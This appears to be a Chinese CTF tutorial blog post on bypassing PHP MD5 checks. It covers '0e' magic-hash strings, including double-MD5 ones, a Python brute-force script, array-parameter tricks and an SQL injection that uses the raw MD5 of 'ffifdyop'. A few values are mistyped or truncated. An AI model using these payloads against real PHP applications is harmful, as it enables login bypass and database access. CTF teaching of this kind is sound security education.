0X00 摘要
CTF中md5判等可使用0e绕过,但是如果是双md5该如何绕过呢?本文将教你如何绕过md5(md5($_GET[‘a’])) == md5($_GET[b’])。
0X01 引言
在php中,所有变量都是若类型的,在使用if判等的时候要格外小心,使用特殊的参数可能会使本来不相等的if判断位相等,比如下面的例子。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if (isset($_GET['a']) && isset($_GET['b'])) { $a = $_GET['a']; $b = $_GET['b']; if ($a != $b && md5($a) == md5($b)) { echo "flag{XXXXX}"; } else { echo "wrong!"; } } else { echo 'wrong!'; } ?>
上面只要传入参数a=s1885207154a,b=s1836677006a,即可,为什么呢?看一下这两个字符串的md5值可以返现分别如下:
1 2 3 4 5 MD5值: md5("s1885207154a") => 0e509367213418206700842008763514 md5("s1836677006a") => 0e481036490867661113260034900752
二者都是0e开头,在php中0e会被当做科学计数法,就算后面有字母,其结果也是0,所以上面的if判断结果使true,成功绕过!
0x02 双MD5碰撞绕过
上面只是小试牛刀,下面看一个升级版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if (isset($_GET['a']) && isset($_GET['b'])) { $a = $_GET['a']; $b = $_GET['b']; if ($a != $b && md5($a) == md5(md5($b)) { echo "flag{XXXXX}"; } else { echo "wrong!"; } } else { echo 'wrong!'; } ?>
双面的判断出现了md5(md5($b),有了前面的铺垫,这里我们第一感觉就是找到一个字符串其MD5值的MD5仍然是0e开头的那就好了。开始的时候我不敢相信,那几率得多小啊,但是在昨天做一道md5截断碰撞的时候我就来了灵感,何不尝试一下,结果发现原来这种字符串使真的存在,并且碰撞0e开头的时候不到一秒钟就能碰撞到。各位观众,下面请看:
1 2 3 4 5 MD5值: md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea md5("0e18bb6e1************") => 0e0a710a092113dd5ec9dd47d4d7b86f
原来真的存在0e开头的MD5值其md5结果也是0e开头,所以此题答案便出来了。a=s1885207154a,b=V5VDSHva7fjyJoJ33IQl即可绕过if判断。
其实上面的这种双md5值0e开头的字符串有很多,但是网上似乎很见到,几乎没有,下面发布一些:
0x03 双md5结果仍为0e开头字符串大全
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 MD5大全: 1. CbDLytmyGm2xQyaLNhWn md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18 md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af 2. 770hQgrBOjrcqftrlaZk md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625 md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064 3. 7r4lGXCH2Ksu2JNT3BYM md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849 md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
0x04 MD5碰撞脚本
授人以鱼不如授人以渔,下面使多线程MD5哈希碰撞脚本,威力巨大。是根据网上代码改编而成,非原创。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 # -*- coding: utf-8 -*- import multiprocessing import hashlib import random import string import sys CHARS = string.letters + string.digits def cmp_md5(substr, stop_event, str_len,. start=0, size=20): global CHARS while not stop_event.is_set(): rnds = ''.join(random.choice(CHARS) for _ in range(size)) md5 = hashlib.md5(rnds) value = md5.hexdigest() if value[start: start+str_len] == substr: print rnds stop_event.set() ''' #碰撞双md5 md5 = hashlib.md5(value) if md5.hexdigest()[start: start+str_len] == substr: print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n" stop_event.set() ''' if __name__ == '__main__': substr = sys.argv[1].strip() start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0 str_len = len(substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)] for p in processes: p.start() for p in processes: p.join()
上面脚本注释部分是双MD5碰撞,取消注释然后注释掉16行即可。
使用方法:python md5Crack.py “你要碰撞的字符串” 字符串的起始位置
例如:python md5Crack.py “0e” 0
将产生MD5值为0e开头的字符串。
0x05 MD5的数组特性
使用php中md5的特性来绕过
md5([1,2]) == md5([3,4]) == NULL
1 2 3 4 if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])) { die('level 2 failed'); }
传入 hash2[]=1&hash3=[]=2
0x06 MD5+SQL注入绕过
1 2 3 4 5 6 $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'"; $result = $mysqli->query($query); $row = $result->fetch_assoc(); var_dump($row); $result->free(); $mysqli->close();
sql注入里面的 md,平常绕过一个password
SELECT * FROM flag WHERE password = ‘ ‘ or 1=1’
那么 ’ or 后面要接上一个 为 true 的表达式
SELECT * FROM flag WHERE password = ‘“ . md5($_GET[“hash4”],true) . “‘
那么目的就明确了 md5($_GET[“hash4”],true) 这里要为 true
若我们可找到字符串,在对该字符串进行md5后能够得到 ‘or’加上一个非0的字符就可以绕过。这里我们可以用到的字符串为:ffifdyop 。它的md5结果是:276f722736c95d99e921722cf9ed621c 。通过这个结果我们可以发现得到16字节的二进制被解析为字符的结果是:’or’6后面接乱码 (27是单引号的16进制编码,67是字母o的16进制…)这样后构造的sql语句就位
1 2 3 4 content: ffifdyop hex: 276f722736c95d99e921722cf9ed621 craw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c string: 'or'6]!r,b
所以:hash4=ffifdyop
参考:https://www.cnblogs.com/-mo-/p/11582424.html